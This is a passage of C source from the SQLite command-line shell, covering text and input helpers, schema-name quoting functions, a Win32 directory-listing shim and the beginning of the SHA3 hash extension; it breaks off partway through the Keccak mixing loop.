static void SQLITE_CDECL iotracePrintf(const char *zFormat, ...){
va_list ap;
char *z;
if( iotrace==0 ) return;
va_start(ap, zFormat);
z = sqlite3_vmprintf(zFormat, ap);
va_end(ap);
utf8_printf(iotrace, "%s", z);
sqlite3_free(z);
}
#endif
/*
** Output string zUtf to stream pOut as w characters. If w is negative,
** then right-justify the text. W is the width in UTF-8 characters, not
** in bytes. This is different from the %*.*s specification in printf
** since with %*.*s the width is measured in bytes, not characters.
*/
static void utf8_width_print(FILE *pOut, int w, const char *zUtf){
int i;
int n;
int aw = w<0 ? -w : w;
for(i=n=0; zUtf[i]; i++){
if( (zUtf[i]&0xc0)!=0x80 ){
n++;
if( n==aw ){
do{ i++; }while( (zUtf[i]&0xc0)==0x80 );
break;
}
}
}
if( n>=aw ){
utf8_printf(pOut, "%.*s", i, zUtf);
}else if( w<0 ){
utf8_printf(pOut, "%*s%s", aw-n, "", zUtf);
}else{
utf8_printf(pOut, "%s%*s", zUtf, aw-n, "");
}
}
/*
** Determines if a string is a number of not.
*/
static int isNumber(const char *z, int *realnum){
if( *z=='-' || *z=='+' ) z++;
if( !IsDigit(*z) ){
return 0;
}
z++;
if( realnum ) *realnum = 0;
while( IsDigit(*z) ){ z++; }
if( *z=='.' ){
z++;
if( !IsDigit(*z) ) return 0;
while( IsDigit(*z) ){ z++; }
if( realnum ) *realnum = 1;
}
if( *z=='e' || *z=='E' ){
z++;
if( *z=='+' || *z=='-' ) z++;
if( !IsDigit(*z) ) return 0;
while( IsDigit(*z) ){ z++; }
if( realnum ) *realnum = 1;
}
return *z==0;
}
/*
** Compute a string length that is limited to what can be stored in
** lower 30 bits of a 32-bit signed integer.
*/
static int strlen30(const char *z){
const char *z2 = z;
while( *z2 ){ z2++; }
return 0x3fffffff & (int)(z2 - z);
}
/*
** Return the length of a string in characters. Multibyte UTF8 characters
** count as a single character.
*/
static int strlenChar(const char *z){
int n = 0;
while( *z ){
if( (0xc0&*(z++))!=0x80 ) n++;
}
return n;
}
/*
** Return true if zFile does not exist or if it is not an ordinary file.
*/
#ifdef _WIN32
# define notNormalFile(X) 0
#else
static int notNormalFile(const char *zFile){
struct stat x;
int rc;
memset(&x, 0, sizeof(x));
rc = stat(zFile, &x);
return rc || !S_ISREG(x.st_mode);
}
#endif
/*
** This routine reads a line of text from FILE in, stores
** the text in memory obtained from malloc() and returns a pointer
** to the text. NULL is returned at end of file, or if malloc()
** fails.
**
** If zLine is not NULL then it is a malloced buffer returned from
** a previous call to this routine that may be reused.
*/
static char *local_getline(char *zLine, FILE *in){
int nLine = zLine==0 ? 0 : 100;
int n = 0;
while( 1 ){
if( n+100>nLine ){
nLine = nLine*2 + 100;
zLine = realloc(zLine, nLine);
if( zLine==0 ) shell_out_of_memory();
}
if( fgets(&zLine[n], nLine - n, in)==0 ){
if( n==0 ){
free(zLine);
return 0;
}
zLine[n] = 0;
break;
}
while( zLine[n] ) n++;
if( n>0 && zLine[n-1]=='\n' ){
n--;
if( n>0 && zLine[n-1]=='\r' ) n--;
zLine[n] = 0;
break;
}
}
#if defined(_WIN32) || defined(WIN32)
/* For interactive input on Windows systems, translate the
** multi-byte characterset characters into UTF-8. */
if( stdin_is_interactive && in==stdin ){
char *zTrans = sqlite3_win32_mbcs_to_utf8_v2(zLine, 0);
if( zTrans ){
int nTrans = strlen30(zTrans)+1;
if( nTrans>nLine ){
zLine = realloc(zLine, nTrans);
if( zLine==0 ) shell_out_of_memory();
}
memcpy(zLine, zTrans, nTrans);
sqlite3_free(zTrans);
}
}
#endif /* defined(_WIN32) || defined(WIN32) */
return zLine;
}
/*
** Retrieve a single line of input text.
**
** If in==0 then read from standard input and prompt before each line.
** If isContinuation is true, then a continuation prompt is appropriate.
** If isContinuation is zero, then the main prompt should be used.
**
** If zPrior is not NULL then it is a buffer from a prior call to this
** routine that can be reused.
**
** The result is stored in space obtained from malloc() and must either
** be freed by the caller or else passed back into this routine via the
** zPrior argument for reuse.
*/
static char *one_input_line(FILE *in, char *zPrior, int isContinuation){
char *zPrompt;
char *zResult;
if( in!=0 ){
zResult = local_getline(zPrior, in);
}else{
zPrompt = isContinuation ? continuePrompt : mainPrompt;
#if SHELL_USE_LOCAL_GETLINE
printf("%s", zPrompt);
fflush(stdout);
zResult = local_getline(zPrior, stdin);
#else
free(zPrior);
zResult = shell_readline(zPrompt);
if( zResult && *zResult ) shell_add_history(zResult);
#endif
}
return zResult;
}
/*
** Return the value of a hexadecimal digit. Return -1 if the input
** is not a hex digit.
*/
static int hexDigitValue(char c){
if( c>='0' && c<='9' ) return c - '0';
if( c>='a' && c<='f' ) return c - 'a' + 10;
if( c>='A' && c<='F' ) return c - 'A' + 10;
return -1;
}
/*
** Interpret zArg as an integer value, possibly with suffixes.
*/
static sqlite3_int64 integerValue(const char *zArg){
sqlite3_int64 v = 0;
static const struct { char *zSuffix; int iMult; } aMult[] = {
{ "KiB", 1024 },
{ "MiB", 1024*1024 },
{ "GiB", 1024*1024*1024 },
{ "KB", 1000 },
{ "MB", 1000000 },
{ "GB", 1000000000 },
{ "K", 1000 },
{ "M", 1000000 },
{ "G", 1000000000 },
};
int i;
int isNeg = 0;
if( zArg[0]=='-' ){
isNeg = 1;
zArg++;
}else if( zArg[0]=='+' ){
zArg++;
}
if( zArg[0]=='0' && zArg[1]=='x' ){
int x;
zArg += 2;
while( (x = hexDigitValue(zArg[0]))>=0 ){
v = (v<<4) + x;
zArg++;
}
}else{
while( IsDigit(zArg[0]) ){
v = v*10 + zArg[0] - '0';
zArg++;
}
}
for(i=0; i<ArraySize(aMult); i++){
if( sqlite3_stricmp(aMult[i].zSuffix, zArg)==0 ){
v *= aMult[i].iMult;
break;
}
}
return isNeg? -v : v;
}
/*
** A variable length string to which one can append text.
*/
typedef struct ShellText ShellText;
struct ShellText {
char *z;
int n;
int nAlloc;
};
/*
** Initialize and destroy a ShellText object
*/
static void initText(ShellText *p){
memset(p, 0, sizeof(*p));
}
static void freeText(ShellText *p){
free(p->z);
initText(p);
}
/* zIn is either a pointer to a NULL-terminated string in memory obtained
** from malloc(), or a NULL pointer. The string pointed to by zAppend is
** added to zIn, and the result returned in memory obtained from malloc().
** zIn, if it was not NULL, is freed.
**
** If the third argument, quote, is not '\0', then it is used as a
** quote character for zAppend.
*/
static void appendText(ShellText *p, char const *zAppend, char quote){
int len;
int i;
int nAppend = strlen30(zAppend);
len = nAppend+p->n+1;
if( quote ){
len += 2;
for(i=0; i<nAppend; i++){
if( zAppend[i]==quote ) len++;
}
}
if( p->n+len>=p->nAlloc ){
p->nAlloc = p->nAlloc*2 + len + 20;
p->z = realloc(p->z, p->nAlloc);
if( p->z==0 ) shell_out_of_memory();
}
if( quote ){
char *zCsr = p->z+p->n;
*zCsr++ = quote;
for(i=0; i<nAppend; i++){
*zCsr++ = zAppend[i];
if( zAppend[i]==quote ) *zCsr++ = quote;
}
*zCsr++ = quote;
p->n = (int)(zCsr - p->z);
*zCsr = '\0';
}else{
memcpy(p->z+p->n, zAppend, nAppend);
p->n += nAppend;
p->z[p->n] = '\0';
}
}
/*
** Attempt to determine if identifier zName needs to be quoted, either
** because it contains non-alphanumeric characters, or because it is an
** SQLite keyword. Be conservative in this estimate: When in doubt assume
** that quoting is required.
**
** Return '"' if quoting is required. Return 0 if no quoting is required.
*/
static char quoteChar(const char *zName){
int i;
if( !isalpha((unsigned char)zName[0]) && zName[0]!='_' ) return '"';
for(i=0; zName[i]; i++){
if( !isalnum((unsigned char)zName[i]) && zName[i]!='_' ) return '"';
}
return sqlite3_keyword_check(zName, i) ? '"' : 0;
}
/*
** Construct a fake object name and column list to describe the structure
** of the view, virtual table, or table valued function zSchema.zName.
*/
static char *shellFakeSchema(
sqlite3 *db, /* The database connection containing the vtab */
const char *zSchema, /* Schema of the database holding the vtab */
const char *zName /* The name of the virtual table */
){
sqlite3_stmt *pStmt = 0;
char *zSql;
ShellText s;
char cQuote;
char *zDiv = "(";
int nRow = 0;
zSql = sqlite3_mprintf("PRAGMA \"%w\".table_info=%Q;",
zSchema ? zSchema : "main", zName);
sqlite3_prepare_v2(db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
initText(&s);
if( zSchema ){
cQuote = quoteChar(zSchema);
if( cQuote && sqlite3_stricmp(zSchema,"temp")==0 ) cQuote = 0;
appendText(&s, zSchema, cQuote);
appendText(&s, ".", 0);
}
cQuote = quoteChar(zName);
appendText(&s, zName, cQuote);
while( sqlite3_step(pStmt)==SQLITE_ROW ){
const char *zCol = (const char*)sqlite3_column_text(pStmt, 1);
nRow++;
appendText(&s, zDiv, 0);
zDiv = ",";
cQuote = quoteChar(zCol);
appendText(&s, zCol, cQuote);
}
appendText(&s, ")", 0);
sqlite3_finalize(pStmt);
if( nRow==0 ){
freeText(&s);
s.z = 0;
}
return s.z;
}
/*
** SQL function: shell_module_schema(X)
**
** Return a fake schema for the table-valued function or eponymous virtual
** table X.
*/
static void shellModuleSchema(
sqlite3_context *pCtx,
int nVal,
sqlite3_value **apVal
){
const char *zName = (const char*)sqlite3_value_text(apVal[0]);
char *zFake = shellFakeSchema(sqlite3_context_db_handle(pCtx), 0, zName);
UNUSED_PARAMETER(nVal);
if( zFake ){
sqlite3_result_text(pCtx, sqlite3_mprintf("/* %s */", zFake),
-1, sqlite3_free);
free(zFake);
}
}
/*
** SQL function: shell_add_schema(S,X)
**
** Add the schema name X to the CREATE statement in S and return the result.
** Examples:
**
** CREATE TABLE t1(x) -> CREATE TABLE xyz.t1(x);
**
** Also works on
**
** CREATE INDEX
** CREATE UNIQUE INDEX
** CREATE VIEW
** CREATE TRIGGER
** CREATE VIRTUAL TABLE
**
** This UDF is used by the .schema command to insert the schema name of
** attached databases into the middle of the sqlite_schema.sql field.
*/
static void shellAddSchemaName(
sqlite3_context *pCtx,
int nVal,
sqlite3_value **apVal
){
static const char *aPrefix[] = {
"TABLE",
"INDEX",
"UNIQUE INDEX",
"VIEW",
"TRIGGER",
"VIRTUAL TABLE"
};
int i = 0;
const char *zIn = (const char*)sqlite3_value_text(apVal[0]);
const char *zSchema = (const char*)sqlite3_value_text(apVal[1]);
const char *zName = (const char*)sqlite3_value_text(apVal[2]);
sqlite3 *db = sqlite3_context_db_handle(pCtx);
UNUSED_PARAMETER(nVal);
if( zIn!=0 && strncmp(zIn, "CREATE ", 7)==0 ){
for(i=0; i<(int)(sizeof(aPrefix)/sizeof(aPrefix[0])); i++){
int n = strlen30(aPrefix[i]);
if( strncmp(zIn+7, aPrefix[i], n)==0 && zIn[n+7]==' ' ){
char *z = 0;
char *zFake = 0;
if( zSchema ){
char cQuote = quoteChar(zSchema);
if( cQuote && sqlite3_stricmp(zSchema,"temp")!=0 ){
z = sqlite3_mprintf("%.*s \"%w\".%s", n+7, zIn, zSchema, zIn+n+8);
}else{
z = sqlite3_mprintf("%.*s %s.%s", n+7, zIn, zSchema, zIn+n+8);
}
}
if( zName
&& aPrefix[i][0]=='V'
&& (zFake = shellFakeSchema(db, zSchema, zName))!=0
){
if( z==0 ){
z = sqlite3_mprintf("%s\n/* %s */", zIn, zFake);
}else{
z = sqlite3_mprintf("%z\n/* %s */", z, zFake);
}
free(zFake);
}
if( z ){
sqlite3_result_text(pCtx, z, -1, sqlite3_free);
return;
}
}
}
}
sqlite3_result_value(pCtx, apVal[0]);
}
/*
** The source code for several run-time loadable extensions is inserted
** below by the ../tool/mkshellc.tcl script. Before processing that included
** code, we need to override some macros to make the included program code
** work here in the middle of this regular program.
*/
#define SQLITE_EXTENSION_INIT1
#define SQLITE_EXTENSION_INIT2(X) (void)(X)
#if defined(_WIN32) && defined(_MSC_VER)
/************************* Begin test_windirent.h ******************/
/*
** 2015 November 30
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
** This file contains declarations for most of the opendir() family of
** POSIX functions on Win32 using the MSVCRT.
*/
#if defined(_WIN32) && defined(_MSC_VER) && !defined(SQLITE_WINDIRENT_H)
#define SQLITE_WINDIRENT_H
/*
** We need several data types from the Windows SDK header.
*/
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include "windows.h"
/*
** We need several support functions from the SQLite core.
*/
/* #include "sqlite3.h" */
/*
** We need several things from the ANSI and MSVCRT headers.
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <io.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
/*
** We may need several defines that should have been in "sys/stat.h".
*/
#ifndef S_ISREG
#define S_ISREG(mode) (((mode) & S_IFMT) == S_IFREG)
#endif
#ifndef S_ISDIR
#define S_ISDIR(mode) (((mode) & S_IFMT) == S_IFDIR)
#endif
#ifndef S_ISLNK
#define S_ISLNK(mode) (0)
#endif
/*
** We may need to provide the "mode_t" type.
*/
#ifndef MODE_T_DEFINED
#define MODE_T_DEFINED
typedef unsigned short mode_t;
#endif
/*
** We may need to provide the "ino_t" type.
*/
#ifndef INO_T_DEFINED
#define INO_T_DEFINED
typedef unsigned short ino_t;
#endif
/*
** We need to define "NAME_MAX" if it was not present in "limits.h".
*/
#ifndef NAME_MAX
# ifdef FILENAME_MAX
# define NAME_MAX (FILENAME_MAX)
# else
# define NAME_MAX (260)
# endif
#endif
/*
** We need to define "NULL_INTPTR_T" and "BAD_INTPTR_T".
*/
#ifndef NULL_INTPTR_T
# define NULL_INTPTR_T ((intptr_t)(0))
#endif
#ifndef BAD_INTPTR_T
# define BAD_INTPTR_T ((intptr_t)(-1))
#endif
/*
** We need to provide the necessary structures and related types.
*/
#ifndef DIRENT_DEFINED
#define DIRENT_DEFINED
typedef struct DIRENT DIRENT;
typedef DIRENT *LPDIRENT;
struct DIRENT {
ino_t d_ino; /* Sequence number, do not use. */
unsigned d_attributes; /* Win32 file attributes. */
char d_name[NAME_MAX + 1]; /* Name within the directory. */
};
#endif
#ifndef DIR_DEFINED
#define DIR_DEFINED
typedef struct DIR DIR;
typedef DIR *LPDIR;
struct DIR {
intptr_t d_handle; /* Value returned by "_findfirst". */
DIRENT d_first; /* DIRENT constructed based on "_findfirst". */
DIRENT d_next; /* DIRENT constructed based on "_findnext". */
};
#endif
/*
** Provide a macro, for use by the implementation, to determine if a
** particular directory entry should be skipped over when searching for
** the next directory entry that should be returned by the readdir() or
** readdir_r() functions.
*/
#ifndef is_filtered
# define is_filtered(a) ((((a).attrib)&_A_HIDDEN) || (((a).attrib)&_A_SYSTEM))
#endif
/*
** Provide the function prototype for the POSIX compatiable getenv()
** function. This function is not thread-safe.
*/
extern const char *windirent_getenv(const char *name);
/*
** Finally, we can provide the function prototypes for the opendir(),
** readdir(), readdir_r(), and closedir() POSIX functions.
*/
extern LPDIR opendir(const char *dirname);
extern LPDIRENT readdir(LPDIR dirp);
extern INT readdir_r(LPDIR dirp, LPDIRENT entry, LPDIRENT *result);
extern INT closedir(LPDIR dirp);
#endif /* defined(WIN32) && defined(_MSC_VER) */
/************************* End test_windirent.h ********************/
/************************* Begin test_windirent.c ******************/
/*
** 2015 November 30
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
** This file contains code to implement most of the opendir() family of
** POSIX functions on Win32 using the MSVCRT.
*/
#if defined(_WIN32) && defined(_MSC_VER)
/* #include "test_windirent.h" */
/*
** Implementation of the POSIX getenv() function using the Win32 API.
** This function is not thread-safe.
*/
const char *windirent_getenv(
const char *name
){
static char value[32768]; /* Maximum length, per MSDN */
DWORD dwSize = sizeof(value) / sizeof(char); /* Size in chars */
DWORD dwRet; /* Value returned by GetEnvironmentVariableA() */
memset(value, 0, sizeof(value));
dwRet = GetEnvironmentVariableA(name, value, dwSize);
if( dwRet==0 || dwRet>dwSize ){
/*
** The function call to GetEnvironmentVariableA() failed -OR-
** the buffer is not large enough. Either way, return NULL.
*/
return 0;
}else{
/*
** The function call to GetEnvironmentVariableA() succeeded
** -AND- the buffer contains the entire value.
*/
return value;
}
}
/*
** Implementation of the POSIX opendir() function using the MSVCRT.
*/
LPDIR opendir(
const char *dirname
){
struct _finddata_t data;
LPDIR dirp = (LPDIR)sqlite3_malloc(sizeof(DIR));
SIZE_T namesize = sizeof(data.name) / sizeof(data.name[0]);
if( dirp==NULL ) return NULL;
memset(dirp, 0, sizeof(DIR));
/* TODO: Remove this if Unix-style root paths are not used. */
if( sqlite3_stricmp(dirname, "/")==0 ){
dirname = windirent_getenv("SystemDrive");
}
memset(&data, 0, sizeof(struct _finddata_t));
_snprintf(data.name, namesize, "%s\\*", dirname);
dirp->d_handle = _findfirst(data.name, &data);
if( dirp->d_handle==BAD_INTPTR_T ){
closedir(dirp);
return NULL;
}
/* TODO: Remove this block to allow hidden and/or system files. */
if( is_filtered(data) ){
next:
memset(&data, 0, sizeof(struct _finddata_t));
if( _findnext(dirp->d_handle, &data)==-1 ){
closedir(dirp);
return NULL;
}
/* TODO: Remove this block to allow hidden and/or system files. */
if( is_filtered(data) ) goto next;
}
dirp->d_first.d_attributes = data.attrib;
strncpy(dirp->d_first.d_name, data.name, NAME_MAX);
dirp->d_first.d_name[NAME_MAX] = '\0';
return dirp;
}
/*
** Implementation of the POSIX readdir() function using the MSVCRT.
*/
LPDIRENT readdir(
LPDIR dirp
){
struct _finddata_t data;
if( dirp==NULL ) return NULL;
if( dirp->d_first.d_ino==0 ){
dirp->d_first.d_ino++;
dirp->d_next.d_ino++;
return &dirp->d_first;
}
next:
memset(&data, 0, sizeof(struct _finddata_t));
if( _findnext(dirp->d_handle, &data)==-1 ) return NULL;
/* TODO: Remove this block to allow hidden and/or system files. */
if( is_filtered(data) ) goto next;
dirp->d_next.d_ino++;
dirp->d_next.d_attributes = data.attrib;
strncpy(dirp->d_next.d_name, data.name, NAME_MAX);
dirp->d_next.d_name[NAME_MAX] = '\0';
return &dirp->d_next;
}
/*
** Implementation of the POSIX readdir_r() function using the MSVCRT.
*/
INT readdir_r(
LPDIR dirp,
LPDIRENT entry,
LPDIRENT *result
){
struct _finddata_t data;
if( dirp==NULL ) return EBADF;
if( dirp->d_first.d_ino==0 ){
dirp->d_first.d_ino++;
dirp->d_next.d_ino++;
entry->d_ino = dirp->d_first.d_ino;
entry->d_attributes = dirp->d_first.d_attributes;
strncpy(entry->d_name, dirp->d_first.d_name, NAME_MAX);
entry->d_name[NAME_MAX] = '\0';
*result = entry;
return 0;
}
next:
memset(&data, 0, sizeof(struct _finddata_t));
if( _findnext(dirp->d_handle, &data)==-1 ){
*result = NULL;
return ENOENT;
}
/* TODO: Remove this block to allow hidden and/or system files. */
if( is_filtered(data) ) goto next;
entry->d_ino = (ino_t)-1; /* not available */
entry->d_attributes = data.attrib;
strncpy(entry->d_name, data.name, NAME_MAX);
entry->d_name[NAME_MAX] = '\0';
*result = entry;
return 0;
}
/*
** Implementation of the POSIX closedir() function using the MSVCRT.
*/
INT closedir(
LPDIR dirp
){
INT result = 0;
if( dirp==NULL ) return EINVAL;
if( dirp->d_handle!=NULL_INTPTR_T && dirp->d_handle!=BAD_INTPTR_T ){
result = _findclose(dirp->d_handle);
}
sqlite3_free(dirp);
return result;
}
#endif /* defined(WIN32) && defined(_MSC_VER) */
/************************* End test_windirent.c ********************/
#define dirent DIRENT
#endif
/************************* Begin ../ext/misc/shathree.c ******************/
/*
** 2017-03-08
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This SQLite extension implements functions that compute SHA3 hashes.
** Two SQL functions are implemented:
**
** sha3(X,SIZE)
** sha3_query(Y,SIZE)
**
** The sha3(X) function computes the SHA3 hash of the input X, or NULL if
** X is NULL.
**
** The sha3_query(Y) function evalutes all queries in the SQL statements of Y
** and returns a hash of their results.
**
** The SIZE argument is optional. If omitted, the SHA3-256 hash algorithm
** is used. If SIZE is included it must be one of the integers 224, 256,
** 384, or 512, to determine SHA3 hash variant that is computed.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#include <stdarg.h>
#ifndef SQLITE_AMALGAMATION
/* typedef sqlite3_uint64 u64; */
#endif /* SQLITE_AMALGAMATION */
/******************************************************************************
** The Hash Engine
*/
/*
** Macros to determine whether the machine is big or little endian,
** and whether or not that determination is run-time or compile-time.
**
** For best performance, an attempt is made to guess at the byte-order
** using C-preprocessor macros. If that is unsuccessful, or if
** -DSHA3_BYTEORDER=0 is set, then byte-order is determined
** at run-time.
*/
#ifndef SHA3_BYTEORDER
# if defined(i386) || defined(__i386__) || defined(_M_IX86) || \
defined(__x86_64) || defined(__x86_64__) || defined(_M_X64) || \
defined(_M_AMD64) || defined(_M_ARM) || defined(__x86) || \
defined(__arm__)
# define SHA3_BYTEORDER 1234
# elif defined(sparc) || defined(__ppc__)
# define SHA3_BYTEORDER 4321
# else
# define SHA3_BYTEORDER 0
# endif
#endif
/*
** State structure for a SHA3 hash in progress
*/
typedef struct SHA3Context SHA3Context;
struct SHA3Context {
union {
u64 s[25]; /* Keccak state. 5x5 lines of 64 bits each */
unsigned char x[1600]; /* ... or 1600 bytes */
} u;
unsigned nRate; /* Bytes of input accepted per Keccak iteration */
unsigned nLoaded; /* Input bytes loaded into u.x[] so far this cycle */
unsigned ixMask; /* Insert next input into u.x[nLoaded^ixMask]. */
};
/*
** A single step of the Keccak mixing function for a 1600-bit state
*/
static void KeccakF1600Step(SHA3Context *p){
int i;
u64 b0, b1, b2, b3, b4;
u64 c0, c1, c2, c3, c4;
u64 d0, d1, d2, d3, d4;
static const u64 RC[] = {
0x0000000000000001ULL, 0x0000000000008082ULL,
0x800000000000808aULL, 0x8000000080008000ULL,
0x000000000000808bULL, 0x0000000080000001ULL,
0x8000000080008081ULL, 0x8000000000008009ULL,
0x000000000000008aULL, 0x0000000000000088ULL,
0x0000000080008009ULL, 0x000000008000000aULL,
0x000000008000808bULL, 0x800000000000008bULL,
0x8000000000008089ULL, 0x8000000000008003ULL,
0x8000000000008002ULL, 0x8000000000000080ULL,
0x000000000000800aULL, 0x800000008000000aULL,
0x8000000080008081ULL, 0x8000000000008080ULL,
0x0000000080000001ULL, 0x8000000080008008ULL
};
# define a00 (p->u.s[0])
# define a01 (p->u.s[1])
# define a02 (p->u.s[2])
# define a03 (p->u.s[3])
# define a04 (p->u.s[4])
# define a10 (p->u.s[5])
# define a11 (p->u.s[6])
# define a12 (p->u.s[7])
# define a13 (p->u.s[8])
# define a14 (p->u.s[9])
# define a20 (p->u.s[10])
# define a21 (p->u.s[11])
# define a22 (p->u.s[12])
# define a23 (p->u.s[13])
# define a24 (p->u.s[14])
# define a30 (p->u.s[15])
# define a31 (p->u.s[16])
# define a32 (p->u.s[17])
# define a33 (p->u.s[18])
# define a34 (p->u.s[19])
# define a40 (p->u.s[20])
# define a41 (p->u.s[21])
# define a42 (p->u.s[22])
# define a43 (p->u.s[23])
# define a44 (p->u.s[24])
# define ROL64(a,x) ((a<<x)|(a>>(64-x)))
for(i=0; i<24; i+=4){
c0 = a00^a10^a20^a30^a40;
c1 = a01^a11^a21^a31^a41;
c2 = a02^a12^a22^a32^a42;
c3 = a03^a13^a23^a33^a43;
c4 = a04^a14^a24^a34^a44;
d0 = c4^ROL64(c1, 1);
d1 = c0^ROL64(c2, 1);
d2 = c1^ROL64(c3, 1);
d3 = c2^ROL64(c4, 1);
d4 = c3^ROL64(c0, 1);
b0 = (a00^d0);
b1 = ROL64((a11^d1), 44);
b2 = ROL64((a22^d2), 43);
b3 = ROL64((a33^d3), 21);
b4 = ROL64((a44^d4), 14);
a00 = b0 ^((~b1)& b2 );
a00 ^= RC[i];
a11 = b1 ^((~b2)& b3 );
a22 = b2 ^((~b3)& b4 );
a33 = b3 ^((~b4)& b0 );
a44 = b4 ^((~b0)& b1 );
b2 = ROL64((a20^d0), 3);
b3 = ROL64((a31^d1), 45);
b4 = ROL64((a42^d2), 61);
b0 = ROL64((a03^d3), 28);
b1 = ROL64((a14^d4), 20);
a20 = b0 ^((~b1)& b2 );
a31 = b1 ^((~b2)& b3 );
a42 = b2 ^((~b3)& b4 );
a03 = b3 ^((~b4)& b0 );
a14 = b4 ^((~b0)& b1 );
b4 = ROL64((a40^d0), 18);
b0 = ROL64((a01^d1), 1);
b1 = ROL64((a12^d2), 6);
b2 = ROL64((a23^d3), 25);
b3 = ROL64((a34^d4), 8);
a40 = b0 ^((~b1)& b2 );
a01 = b1 ^((~b2)& b3 );
a12 = b2 ^((~b3)& b4 );
a23 = b3 ^((~b4)& b0 );
a34 = b4 ^((~b0)& b1 );
b1 = ROL64((a10^d0), 36);
b2 = ROL64((a21^d1), 10);
b3 = ROL64((a32^d2), 15);
b4 = ROL64((a43^d3), 56);
b0 = ROL64((a04^d4), 27);
a10 = b0 ^((~b1)& b2 );
a21 = b1 ^((~b2)& b3 );
a32 = b2 ^((~b3)& b4 );
a43 = b3 ^((~b4)& b0 );
a04 = b4 ^((~b0)& b1 );
b3 = ROL64((a30^d0), 41);
b4 = ROL64((a41^d1), 2);
b0 = ROL64((a02^d2), 62);
b1 = ROL64((a13^d3), 55);
b2 = ROL64((a24^d4), 39);
a30 = b0 ^((~b1)& b2 );
a41 = b1 ^((~b2)& b3 );
a02 = b2 ^((~b3)& b4 );
a13 = b3 ^((~b4)& b0 );
a24 = b4 ^((~b0)& b1 );
c0 = a00^a20^a40^a10^a30;
c1 = a11^a31^a01^a21^a41;
c2 = a22^a42^a12^a32^a02;
c3 = a33^a03^a23^a43^a13;
c4 = a44^a14^a34^a04^a24;
d0 = c4^ROL64(c1, 1);
d1 = c0^ROL64(c2, 1);
d2 = c1^ROL64(c3, 1);
d3 = c2^ROL64(c4, 1);
d4 = c3^ROL64(c0, 1);
b0 = (a00^d0);
b1 = ROL64((a31^d1), 44);
b2 = ROL64((a12^d2), 43);
b3 = ROL64((a43^d3), 21);
b4 = ROL64((a24^d4), 14);
a00 = b0 ^((~b1)& b2 );
a00 ^= RC[i+1];
a31 = b1 ^((~b2)& b3 );
a12 = b2 ^((~b3)& b4 );
a43 = b3 ^((~b4)& b0 );
a24 = b4 ^((~b0)& b1 );
b2 = ROL64((a40^d0), 3);
b3 = ROL64((a21^d1), 45);
b4 = ROL64((a02^d2), 61);
b0 = ROL64((a33^d3), 28);
b1 = ROL64((a14^d4), 20);
a40 = b0 ^((~b1)& b2 );
a21 = b1 ^((~b2)& b3 );
a02 = b2 ^((~b3)& b4 );
a33 = b3 ^((~b4)& b0 );
a14 = b4 ^((~b0)& b1 );
b4 = ROL64((a30^d0), 18);
b0 = ROL64((a11^d1), 1);
b1 = ROL64((a42^d2), 6);
b2 = ROL64((a23^d3), 25);
b3 = ROL64((a04^d4), 8);
a30 = b0 ^((~b1)& b2 );
a11 = b1 ^((~b2)& b3 );
a42 = b2 ^((~b3)& b4 );
a23 = b3 ^((~b4)& b0 );
a04 = b4 ^((~b0)& b1 );
b1 = ROL64((a20^d0), 36);
b2 = ROL64((a01^d1), 10);
b3 = ROL64((a32^d2), 15);
b4 = ROL64((a13^d3), 56);
b0 = ROL64((a44^d4), 27);
a20 = b0 ^((~b1)& b2 );
a01 = b1 ^((~b2)& b3 );
a32 = b2 ^((~b3)& b4 );
a13 = b3 ^((~b4)& b0 );
a44 = b4 ^((~b0)& b1 );
b3 = ROL64((a10^d0), 41);
b4 = ROL64((a41^d1), 2);
b0 = ROL64((a22^d2), 62);
b1 = ROL64((a03^d3), 55);
b2 = ROL64((a34^d4), 39);
a10 = b0 ^((~b1)& b2 );
a41 = b1 ^((~b2)& b3 );
a22 = b2 ^((~b3)& b4 );
a03 = b3 ^((~b4)& b0 );
a34 = b4 ^((~b0)& b1 );
c0 = a00^a40^a30^a20^a10;
c1 = a31^a21^a11^a01^a41;
c2 = a12^a02^a42^a32^a22;
c3 = a43^a33^a23^a13^a03;
c4 = a24^a14^a04^a44^a34;
d0 = c4^ROL64(c1, 1);
d1 = c0^ROL64(c2, 1);
d2 = c1^ROL64(c3, 1);
d3 = c2^ROL64(c4, 1);
d4 = c3^ROL64(c0, 1);
b0 = (a00^d0);
b1 = ROL64((a21^d1), 44);
b2 = ROL64((a42^d2), 43);
b3 = ROL64((a13^d3), 21);
b4 = ROL64((a34^d4), 14);
a00 = b0 ^((~b1)& b2 );
a00 ^= RC[i+2];
a21 = b1 ^((~b2)& b3 );
a42 = b2 ^((~b3)& b4 );
a13 = b3 ^((~b4)& b0 );
a34 = b4 ^((~b0)& b1 );
b2 = ROL64((a30^d0), 3);
b3 = ROL64((a01^d1), 45);
b4 = ROL64((a22^d2), 61);
b0 = ROL64((a43^d3), 28);
b1 = ROL64((a14^d4), 20);
a30 = b0 ^((~b1)& b2 );
a01 = b1 ^((~b2)& b3 );
a22 = b2 ^((~b3)& b4 );
a43 = b3 ^((~b4)& b0 );
a14 = b4 ^((~b0)& b1 );
b4 = ROL64((a10^d0), 18);
b0 = ROL64((a31^d1), 1);
b1 = ROL64((a02^d2), 6);
b2 = ROL64((a23^d3), 25);
b3 = ROL64((a44^d4), 8);
a10 = b0 ^((~b1)& b2 );
a31 = b1 ^((~b2)& b3 );
a02 = b2 ^((~b3)& b4 );
a23 = b3 ^((~b4)& b0 );
a44 = b4 ^((~b0)& b1 );
b1 = ROL64((a40^d0), 36);
b2 = ROL64((a11^d1), 10);
b3 = ROL64((a32^d2), 15);
b4 = ROL64((a03^d3), 56);
b0 = ROL64((a24^d4), 27);
a40 = b0 ^((~b1)& b2 );
a11 = b1 ^((~b2)& b3 );
